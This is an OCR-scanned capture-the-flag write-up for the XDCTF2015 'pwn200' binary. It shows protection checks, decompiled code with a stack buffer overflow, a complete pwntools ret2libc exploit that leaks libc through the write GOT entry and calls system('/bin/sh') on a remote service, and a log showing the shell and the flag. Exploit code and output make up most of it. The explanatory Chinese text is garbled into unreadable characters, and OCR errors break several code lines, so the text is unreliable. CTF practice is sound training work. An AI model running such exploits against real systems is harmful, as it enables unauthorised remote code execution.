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[*] "/ctf/work/python/pwn200/9c60841f8a3b2473e8a9e9815099bfec5"’
Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (©x8048000)
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int _ cdecl main()

{
int buf; // [esp+2Ch] [ebp-6Ch]
int v2; // [esp+30h] [ebp-68h]
int v3; // [esp+34h] [ebp-64h]
int v4; // [esp+38h] [ebp-60h]
int v5; // [esp+3Ch] [ebp-5Ch]
int v6; // [esp+40h] [ebp-58h]
int v7; // [esp+44h] [ebp-54h]

buf = 1668048215;

v2 = 543518063;
v3 = 1478520692;
v4 = 1179927364;
v5 = 892416050;
V6 = 663934;

memset(&v7, 0, 0x4Cu);

setbuf(stdout, (char *)&buf);

write(1l, &buf, strlen((const char *)&buf));
read_string();

return 0;

ssize_t read_string()

{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, ©x100u);

M—HEv2, v3, BRILERIME T, HEPR - NFRFIEREANZEND

.text:080484CC mov dword ptr [esp+2Ch], 'cleW'

.text:080484D4 mov dword ptr [esp+30h], ' emo'

.text:080484DC mov dword ptr [esp+34h], 'X ot'

.text:080484E4 mov dword ptr [esp+38h], 'FTCD'

.text:080484EC mov dword ptr [esp+3Ch], '5102'

.text:080484F4 mov dword ptr [esp+40h], '\n!~'
BE—THR

char buf[24] = "Welcome to XDCTF2015~!\n";
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int _ cdecl main()

{
char szbuf[24] = "Welcome to XDCTF2015~!\n";

memset(&v7, 0, 0x4Cu);

setbuf(stdout, (char *)szbuf);

write(1l, szbuf, strlen((const char *)szbuf));
read_string();

return 0;

}

ssize_t read_string()

{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

FrURRAML BEIERHE, #RTE Lfread_string & £+ Hiread ph £ H -
WET —TEMNMEF, AHAHE:
1. ¥ systemFl/bin/sh
2. BRFEABET A
RYE b 2 A A € T R AR AP IR
1. HtFEwriteiIgotid ¥
2. F|HLibcSearchersEfiLsystemig Fithht GX B 7] DL pwniE B3 4 1 DynELF 3R 52 Sz system ki )
3. RETHAFMER:

1. HEF HLibcSearchersE fir/bin/shifi ik
2. FFHbssHillkE A /bin/sh

4. F|FsystemMl/bin/shh AT

Hikfpython AT, WM RMEERE 7, KEXWUETZUA—T



#coding:utf8
#!python
#!/usr/bin/env python

from pwn import *

context.log level = 'debug'

process_name = './9c608418a3b2473e8a9e9815099bfec5"

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45"', 47643)

elf = ELF(process_name)

def send_payload(payload):
payload = 'A'*(@x6C+4) + payload
p.sendlineafter('Welcome to XDCTF2015~!\n', payload)

main_addr = ©0x080483D0
write plt = elf.plt['write']
write_got = elf.got["write"]

payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
send_payload(payload)

write_addr = u32(p.recvn(4))

log.info("write_addr => %#x", write_addr)

from LibcSearcher import *

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system")
binsh_addr = libc_base + libc.dump('str_bin_sh")
log.info("system_addr => %#x", system_addr)
log.info("binsh_addr => %#x", binsh_addr)

select = 1

if select ==

#75R1

payload = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
else:

#7582

read_plt = elf.plt['read']

pop3_ret = 0x0804856¢C

bss_addr = elf.bss()

payload = p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(main_addr) + p32(bss_addr)
payload += '/bin/sh\x00"'

send_payload(payload)

p.interactive()
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root@mypwn:/
[+] Opening
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[*] '/ctf/wo
Arch:
RELRO:
Stack:
NX:
PIES:
[DEBUG] Rece
'Welcome
[DEBUG] Sent
00000000
*
00000070
00000080
00000085
[DEBUG] Rece
00000000
00000004
[*] write_ad
[+] ubuntu-x
[*] system_a
[*] binsh_ad
[DEBUG] Rece
'Welcome
[DEBUG] Sent
00000000
*
00000070
00000080
00000090
00000099
[*] Switchin
$ cat flag
[DEBUG] Sent
'cat fla
[DEBUG] Rece
'cyberpe
cyberpeace{c
[DEBUG] Rece
'"Welcome
Welcome to X
[*] Got EOF
$

ctf/work/python/pwn200# python pwn200.py
connection to 111.198.29.45 on port 47643: Done
0x8048380 setbuf
0x8048390 read
0x80483a0 __ gmon_start__
0x80483b0 _ libc_start_main
0x80483c0O write
rk/python/pwn200/9c6084f8a3b2473e8a9e9815099bfec5"
i386-32-1little
Partial RELRO
No canary found
NX enabled
No PIE (@x8048000)
ived 0x17 bytes:
to XDCTF2015~!\n'
0x85 bytes:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA|

Co 83 04 08 d0 83 @4 @8 01 00 00 00 10 a@ 04 08 |----|.coe|ceii]itn|
04 00 00 00 0a losoollo]

ived 0x4 bytes:
c0 03 6e f7 octino ] |

dr => @xf76e03co
enial-amd64-1ibc6-1386 (id 1ibc6-i386_2.23-Qubuntul®_amd64) be choosed.
ddr => @xf7646940
dr => @xf776502b
ived 0x17 bytes:
to XDCTF2015~!\n"
0x99 bytes:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA |

90 83 @4 88 6C 85 04 08 00 00 00 00 20 aB 04 08 |----|le-|.oer| oot
98 00 00 00 40 69 64 f7 dO 83 04 08 20 a0 04 @8 |----|@id-|----| ---|
2f 62 69 6e 2f 73 68 00 Oa | /bin]|/sh-| -

g to interactive mode

0x9 bytes:

g\n’

ived 0x2d bytes:
ace{c42b3413305b0caed4a8acas524a68d9}\n"
42b3413305b0Ocaed4a8acas524a68d9}

ived 0x17 bytes:

to XDCTF2015~!\n"

DCTF2015~!

while reading in interactive
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